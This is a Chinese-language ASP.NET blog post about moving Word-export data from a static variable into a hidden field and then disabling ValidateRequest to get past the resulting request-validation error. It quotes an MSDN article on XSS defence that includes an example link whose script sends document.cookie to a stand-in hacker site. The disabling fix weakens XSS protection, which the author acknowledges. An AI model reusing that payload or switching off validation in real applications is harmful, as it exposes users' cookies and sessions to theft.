2012年7月23日 星期一

[ASP.NET] WORD匯出功能跨頁面匯出,資料被洗掉問題

這次算是遇到了使用分頁(多視窗)執行同一個程式的問題吧

同時開啟兩個不同的視窗執行同一隻程式,

並且使用 STATIC 的變數去紀錄該頁面上的值,

卻發現... 第一個開啟的頁面的值會被第二個頁面產生得資料給取代掉><

--



後來使用 HIDDEN 欄未來紀錄各個頁面對應的資料來解決這個問題,

再頁面前台先宣告一個名稱為的 hidden 標籤,

並在後台宣告一個變數去做 hidden 標籤的設定如下:


/// <summary>
    /// 匯出內容
    /// </summary>
    [Description]
    private string Content
    {
        get
        {
            if (string.IsNullOrEmpty(HdnContent.Text) || string.IsNullOrWhiteSpace(HdnContent.Text) || JSON.Deserialize<string>(HdnContent.Text) == null)
            {
                return string.Empty;
            }
            else
            {
                return JSON.Deserialize<string>(HdnContent.Text);
            }
        }
        set
        {
            if (string.IsNullOrEmpty(HdnContent.Text) || string.IsNullOrWhiteSpace(HdnContent.Text) || JSON.Deserialize<string>(HdnContent.Text) == null)
            {
                HdnContent.Text = JSON.Serialize(value);
            }
        }
    }


宣告完之後把需要的值設進去即可!

就可以藉由各個頁面不同的 hidden 標籤來分別紀錄 word 匯出資料了~

好感人,原本的 static 宣告也可以快樂的拿掉了,減少了佔用記憶體的問題: )

也不會有過期什麼的問題,只要頁面開著,資料就會一直存在!

---------

但後來要實際執行測試功能的時候卻出現

具有潛在危險 Request.Form 的值已從用戶端 (xxxxxxxxxxxx) 偵測到。

的錯誤訊息!!

假設 hidden 標籤存的資料過多,就會出現這個錯誤。

關於 hiddenfield 的說明如下:


3.Hidden Fields
隱藏欄位其實就像 ViewState 儲存訊息的機制一樣不會被顯示,不過假如開啟原始碼的話,仍然會被看的一清二楚
隱藏欄位的特性跟 ViewState 一致,也就是僅適合單一頁面的狀態保存。但是他不具備雜湊、壓縮、加解密的機制
而且假如使用了隱藏欄位要使用送出 (Submit) 的機制來傳遞頁面到伺服器端的話,必須採用表單 POST 機制
而不能僅僅採用 Link 的方式 (HTTP GET) 就取得隱藏欄位的資料。


FROM  http://www.dotblogs.com.tw/pin0513/archive/2011/01/09/20672.aspx

解決方式就是修改前端的頁面設定

將 ValidateRequest 設為"false"即可!
----------

有關於 VALIDATE REQUEST 介紹(FROM MSDN):

ValidateRequest

跨站台指令碼 (XSS) 攻擊源於 1999 年左右,具有多年經驗的網站開發人員對跨站台指令碼 (XSS) 攻擊肯定一點都不陌生。簡單的說,XSS 會探索程式碼的漏洞,用它將駭客的可執行程式碼引進到其他使用者的瀏覽器工作階段。程式碼執行後會插入可執行不同動作的程式碼,例如,複製一份 Cookie 到駭客所控制的網站;監視使用者的網站工作階段並轉寄資料;以錯誤資訊修改入侵網站的行為與外觀,甚至將它變成持續性的,當使用者下次再回到該網頁時,詐欺程式碼會再度執行。若想進一步瞭解 XSS 攻擊,請參閱 TechNet 文章:Cross-site Scripting Overview
哪些程式碼漏洞會遭致 XSS 攻擊?
XSS 是利用會動態產生 HTML 網頁且不驗證回應到網頁之輸入的 Web 應用程式。這裡對 輸入 的定義是查詢字串的內容、Cookie 以及表單欄位。若此內容不受例行性檢查就放到網路上,很可能被駭客用來在用戶端瀏覽器上執行惡意指令碼 (畢竟,之前提到的滑鼠點擊式攻擊屬於 XSS 的變種)。典型的 XSS 攻擊牽涉到不知情的使用者按下內嵌有逸出指令碼的引誘連結,之後詐欺程式碼會送到易受攻擊的網頁,因為那些網頁完全信任程式碼,不驗證就輸出內容。以下是可能發生的例子:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>
使用者按下一個看似安全的連結,結果竟進入易受攻擊的網頁,裡面具有的某個指令碼程式會取得使用者機器上所有的 Cookie,然後將它們傳送到駭客的網頁。
要注意的是,不只有廠商才會面臨 XSS 的問題,且 XSS 並不一定只利用 Internet Explorer 的漏洞,市面上所有 Web 伺服器和瀏覽器都可能受到攻擊。更重要的是,並沒有一個補充程式能解決問題。您可以預防網頁受到 XSS 攻擊,方法是採用特定措施以及健全的編程原則。此外,您也須意識到,這種駭客攻擊並不端賴使用者按下連結的動作。
要防禦 XSS 攻擊,您首先要決定輸入的有效性,並能拒絕無效之輸入。有關遏阻 XSS 攻擊的詳細檢查清單,請閱讀 Microsoft 書籍:《Writing Secure Code》,作者是 Michael Howard 和 David LeBlanc,我尤其建議您仔細閱讀第 13 章。
阻斷狡猾的 XSS 攻擊之主要方法,是在您的輸入 (任何種類的輸入資料) 裡加上周全又堅固的驗證層。舉例而言,在某些情況下,即使是無害的色彩,例如,RGB triplet,也可能把未受控制的指令碼直接引進網頁。
在 ASP.NET 1.1 中,@Page 指示詞的 ValidateRequest 屬性啟用時,它會檢查使用者是否利用查詢字串、Cookie 或表單欄位,寄送可能具危害性的 HTML 標記。如果偵測到,即會拋出例外,請求中止。依照預設,該屬性是啟用的,您無須採取任何動作就已受到保護。如果您想讓 HTML 標記傳遞,則要主動停用它。
<%@ Page ValidateRequest="false" %>
ValidateRequest 並 不是 萬靈丹,無法用它取代有效率的驗證層。這個連結所提供的文章含有豐富的資訊,您不妨仔細閱讀,瞭解其運作方式。基本上,它套用一個規則運算式,來識別一些可能有害的序列。
注意 ValidateRequest 的功能最開始的時後有些缺陷,您需要安裝補充程式才能運作順暢。這個重要的資訊常常被忽略,我自己就很訝異我其中一台電腦仍未安裝補充程式,您不妨也檢查看看吧!
實在是沒有要停用 ValidateRequest 的原因,您是可以停用它,不過最好要有充分的理由,像是使用者要能將 HTML 貼回網站,以擁有更好的格式選擇。在這種情況下,您應該限制允許的 HTML 標籤數 (<pre><b><i><p><br><hr>),然後撰寫規則運算式,以確保其他的標籤不會被允許或接受。
下面提供幾個有助保護 ASP.NET 應用程式不受 XSS 攻擊的絕招:
  • 使用 HttpUtility.HtmlEncode 將危險符號轉換成其 HTML 表示。
  • 使用雙引號,不要用單引號,因為 HTML 編碼僅逸出雙引號。
  • 強制字碼頁限制可使用的字元數。
總之,使用 ValidateRequest 屬性是沒錯,可是不要懶,全都依靠它。建議您花點時間深入瞭解 XSS 攻擊等的安全性威脅,並以「使用者輸入是有害無益」為出發點規劃防禦策略。


http://msdn.microsoft.com/zh-tw/library/ms972969.aspx

http://demo.tc/Post/732

-------------------------------

但這解法其實是有危險性的,慎用!

參考 91 大的說明:

http://www.dotblogs.com.tw/hatelove/archive/2011/12/20/what-is-cross-site-scripting-and-how-to-prevent.aspx

沒有留言:

張貼留言